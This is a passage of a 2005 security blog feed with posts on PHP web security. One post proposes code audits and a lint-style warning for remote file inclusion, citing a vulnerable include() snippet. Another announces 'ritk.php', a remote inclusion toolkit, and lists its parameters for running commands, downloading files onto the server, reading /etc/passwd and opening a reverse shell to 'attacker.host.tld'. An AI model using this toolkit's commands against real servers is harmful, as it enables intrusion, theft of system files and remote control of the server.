google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112745396098963685?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112745396098963685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112745396098963685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112745396098963685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112745396098963685'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/09/case-in-point-1.html' title='case in point #1'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112727351629793811</id><published>2005-09-20T21:10:00.000-04:00</published><updated>2005-09-21T03:43:21.106-04:00</updated><title type='text'>some thoughts on web security (PHP)</title><content type='html'>Even before the whole register_globals mess, sites were being exploited in many more ways than one. And it seems to me that although there has been plenty of public disclosure, discussion, and finally penetration due to the carelessness in development, many PHP developers seem to lack coding practices that are needed to avoid the common security holes in todays web-based software.&lt;br /&gt;&lt;br /&gt;There is a lot of documentation out there that site developers could use to improve upon their own coding practices -- but what perplexes me is that somehow after all the years of penetration, and people losing their jobs, and data being stolen, or data being destroyed, the situation stays the same. There are potentially millions of sites out there with some kind of security hole, from the highest level (code execute) to the lowest (sensitive data/path disclosure).&lt;br /&gt;&lt;br /&gt;So, what is the solution?&lt;br /&gt;&lt;br /&gt;Finding a solution for the problem will not be easy, because no matter what the situation; people will make mistakes. Proper coding practice must be established. Manuals, whitepapes, tutorials, books, ebooks, any document of any sort that discusses web development especially via an interpreted language like PHP, should contain valid examples of how to set variables and execute things properly, even in the case of PHP's register_globals being turned ON.&lt;br /&gt;&lt;br /&gt;Open Source projects that rely on interpreted languages like PHP for example should be audited from the get go before any public releases are made. There should be some sort of public organization that with the assistance of several security-minded folks, can queue standard security audits via automation and finally before acceptance will audit the code manually to make sure nothing slipped through. Such an organization could be used to not only discover holes before they reach the public domain, but also educate the developers and the public about strange and odd vulnerabilities that might arise.&lt;br /&gt;&lt;br /&gt;I understand that there are too many projects going on, and some projects are extremely large and may take some serious time to audit. But I'm sure a structure can be put together to handle the stress. Look at &lt;a href="http://www.osvdb.org"&gt;OSVDB&lt;/a&gt;, they have an interesting setup where vulnerabilities will be passed along a group of security-minded individuals who will research the said vulnerability in the noted software, and to an extent either audit the software or verify the vulnerabilities are present.&lt;br /&gt;&lt;br /&gt;Also, besides education and community wide auditing I also think that a warning system inside of PHP would be nice. I refer not to its exception handling, nor its error reporting but to a function that'll evaluate the code and disclose a warning to developers (during debugging most preferably) if any security flaws are possible. &lt;br /&gt;&lt;br /&gt;Here is an example of a session between a developer and the PHP interpreter:&lt;br /&gt;&lt;br /&gt;Server A has register_globals = ON. And safe mode is turned OFF.&lt;br /&gt;Then, the developer writes something like the following:&lt;br /&gt;&lt;br /&gt;... other code here ...&lt;br /&gt;&lt;br /&gt;if ($GoingToBeIncluded) {&lt;br /&gt;    include($GoingToBeIncluded)&lt;br /&gt;   }&lt;br /&gt;... other code here ...&lt;br /&gt;&lt;br /&gt;PHP before executing evaluates this code, and brings up the red flag about possible remote inclusion vulnerabilities. It can also suggest a solution, in case the developer is a bit mature. A solution to the code above would be to assign the variable to an empty string, if its not meant to actually be executed maliciously.&lt;br /&gt;&lt;br /&gt;I'm thinking such evaluation can be done within the scope of the lint function already within the PHP language. I bet it'll be a pain in someones ass to code, though. :)&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112727351629793811?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112727351629793811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112727351629793811' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112727351629793811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112727351629793811'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/09/some-thoughts-on-web-security-php.html' title='some thoughts on web security (PHP)'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112657976476980726</id><published>2005-09-12T22:42:00.000-04:00</published><updated>2005-09-20T23:40:36.030-04:00</updated><title type='text'>ritk.php</title><content type='html'>(r)emote (i)nclusion (t)ool(k)it is a small php script I put together in use for&lt;br /&gt;some remote inclusion auditing I was assigned to do. Surely there are numerous&lt;br /&gt;scripts out there for similar usage, but I found many of them were badly coded.&lt;br /&gt;Or were just over-coded. I also never really got into PHP coding too much, so it&lt;br /&gt;was a perfect oppurtunity to try it out. You can grab it &lt;a href="http://sabu.net/data/code/ritk.php"&gt;here&lt;/a&gt;, and the following&lt;br /&gt;reference of its functionalities:&lt;br /&gt;&lt;br /&gt;features:&lt;br /&gt;&lt;br /&gt;1) "ft" (function test)&lt;br /&gt;desc: a command execution test, using 5 different functions.&lt;br /&gt;usage: ?&amp;ptk.php?&amp;amp;ft=1&lt;br /&gt;optional: append "&amp;ftc=COMMAND" after the ft variable. replace COMMAND with&lt;br /&gt;       a command. the default command used is "id".&lt;br /&gt;&lt;br /&gt;2) execute a command.&lt;br /&gt;desc: execute a specific command.&lt;br /&gt;usage: ?&amp;amp;meth=METHOD&amp;ftc=COMMAND&lt;br /&gt;    replace "METHOD" with the methods listed below.&lt;br /&gt;&lt;br /&gt;3) remotely download and save a file to local disk.&lt;br /&gt;desc: the title says it best.&lt;br /&gt;usage: ?&amp;amp;saveas=/tmp/test&amp;grab=http://site.tld/path/file&lt;br /&gt;&lt;br /&gt;4) src show&lt;br /&gt;desc: in case the php dist has safemode enabled, you can then rely&lt;br /&gt;   on file reading.&lt;br /&gt;usage: ?&amp;amp;src=/etc/passwd&lt;br /&gt;&lt;br /&gt;5) phpinfo&lt;br /&gt;desc: sometimes you need to know some configuration details, and&lt;br /&gt;   phpinfo() suits that need.&lt;br /&gt;usage: ?&amp;pinfo=1&lt;br /&gt;&lt;br /&gt;6) reverse shell&lt;br /&gt;desc: on servers with php sockets enabled, you can utilize this feature to&lt;br /&gt;   possibly bypass any firewalls with strict incoming filters. this reverse&lt;br /&gt;   shell function is also cool because the php script is being executed&lt;br /&gt;   remotely, and thus no data is saved to the target's disk. thus forensic&lt;br /&gt;   investigations wouldn't be so useful in disclosing the reverse shell source.&lt;br /&gt;   but don't forget the http logs involved, duh.&lt;br /&gt;usage: ?&amp;amp;rvs=1&amp;rvsto=attacker.host.tld&amp;amp;rvsp=port-number&lt;br /&gt;&lt;br /&gt;execution methods:&lt;br /&gt;1) system()&lt;br /&gt;2) exec()&lt;br /&gt;3) passthru()&lt;br /&gt;4) shell_exec()&lt;br /&gt;5) popen()&lt;br /&gt;&lt;br /&gt;there is much more to go.. :)&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112657976476980726?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112657976476980726/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112657976476980726' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112657976476980726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112657976476980726'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/09/ritkphp.html' title='ritk.php'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-112635513338956228</id><published>2005-09-10T08:25:00.000-04:00</published><updated>2005-09-12T16:00:12.393-04:00</updated><title type='text'>The formulation of my security insights</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;hej! I am finally putting this idea of mine together! well, as the blog description says -- this public space will be used for the output of my insights regarding all aspects of Security. I will post my ideas, thoughts, advisories (most likely those I am involved with), opinions, and so on. I don't expect much traffic, but for those who end up here somehow -- I do hope you enjoy the read.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-112635513338956228?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/112635513338956228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=112635513338956228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112635513338956228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/112635513338956228'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/09/formulation-of-my-security-insights.html' title='The formulation of my security insights'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
